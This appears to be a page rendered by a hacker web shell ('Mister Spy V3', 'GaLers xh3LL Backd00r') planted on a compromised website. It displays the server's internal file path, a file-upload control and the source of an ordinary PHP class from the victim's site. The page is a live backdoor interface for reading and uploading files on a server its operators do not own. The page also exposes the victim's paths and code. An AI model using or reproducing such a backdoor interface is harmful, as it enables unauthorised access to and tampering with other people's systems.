Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/espanol/library/
Upload File :
Current File : /home/caballoscriollos/www/espanol/library/class.cabania.php

<?php
require_once('class.db.php');
require_once('class.dbaccess.php');

class Cabania
{
	public $IdCabania;
	public $IdUsuario;
	public $Nombre;
	public $Titular;	
	public $ImagenLogo;
	public $Estado;
	
	public function __construct()
	{
		$this->IdCabania 		= '';
		$this->IdUsuario		= '';
		$this->Nombre 			= '';
		$this->Titular			= '';		
		$this->ImagenLogo		= '';
		$this->Estado			= '';
	}
	
	
	public function ParseFromArray(array $arr)
	{
		$this->IdCabania 		= $arr['IdCabania'];
		$this->IdUsuario		= $arr['IdUsuario'];
		$this->Nombre 			= stripslashes($arr['Nombre']);
		$this->Titular			= stripslashes($arr['Titular']);
		$this->ImagenLogo		= $arr['ImagenLogo'];
		$this->Estado			= $arr['Estado'];
	}
	
	
	public function DeleteUsuarios()
	{
		$CabaniaUsuarios = new CabaniaUsuarios();
		
		if (!$CabaniaUsuarios->DeleteFromCabania($this->IdCabania))
			return false;
			
		return true;
	}
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat